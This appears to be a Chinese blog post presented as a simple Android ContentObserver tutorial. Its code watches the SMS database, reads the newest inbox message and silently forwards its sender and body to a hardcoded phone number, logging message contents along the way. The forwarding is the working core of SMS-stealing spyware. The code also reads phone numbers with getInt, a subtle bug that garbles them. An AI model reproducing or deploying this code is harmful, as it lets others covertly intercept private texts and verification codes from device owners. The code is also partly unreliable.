ContentObserver监听数据库·变化

//短信Uri

Uri smsUri = Uri.parse("content://sms");

//使用ContentReslover注册·监听器

getContentResolver().registerContentObserver(smsUri, true,
new MySmsListener(mHandler, SmsObserverService.this));

//继承ContentObserver监听

class MySmsListener extends ContentObserver {。。。}

//当监听到变化时做出相应的处理

@Override
public void onChange(boolean selfChange) {
// TODO 自动生成的方法存根
super.onChange(selfChange);

Uri outSMSUri = Uri.parse("content://sms/inbox");
Cursor c = mContext.getContentResolver().query(outSMSUri, null,
null, null, "date desc");
if (c != null) {
Log.i("lzh_sms", "the number of send is" + c.getCount() + "\n");
StringBuilder sb = new StringBuilder();
// 循环遍历
while (c.moveToNext()) {
Log.v("lzh_sms", "c.moveToNext is exec");

// sb.append("发件人手机号码: "+c.getInt(c.getColumnIndex("address")))
// .append("信息内容: "+c.getInt(c.getColumnIndex("body")))
// .append("是否查看: "+c.getInt(c.getColumnIndex("read")))
// .append("发送时间: "+c.getInt(c.getColumnIndex("date")))
// .append("\n");
Log.i("lzh_sms", c.getString(c.getColumnIndex("body")));
sb.append(
"发件人手机号码: " + c.getInt(c.getColumnIndex("address")))
.append("信息内容: "
+ c.getString(c.getColumnIndex("body")))
.append("\n");
SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage(PhoneNumber.PhoneNumbers, null,
sb.toString(), null, null);

Log.i("lzh_sms", sb.toString());
break;

}

c.close();

}

}

ContentObserver就是这么简单!

上一篇:DSP知识


下一篇:桶排序-C-结构体排序